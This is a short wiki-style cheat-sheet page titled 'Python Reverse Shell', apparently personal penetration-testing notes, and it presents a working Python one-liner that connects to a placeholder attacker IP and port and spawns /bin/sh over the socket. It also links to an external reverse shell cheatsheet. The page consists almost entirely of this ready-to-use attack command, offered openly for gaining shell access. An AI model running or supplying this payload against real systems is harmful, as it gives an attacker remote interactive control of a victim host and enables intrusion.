

Python Reverse Shell

This is a python oneliner to open a shell in a case when you are allowed to execute python.

```
python -c 'import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<YOUR IP>",<YOUR PORT>));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/sh")'
```

For more ideas and ways check out:

<https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md>

Revision #5

Created 10 July 2022 09:09:17 by Togoboi

Updated 10 July 2022 09:14:42 by Togoboi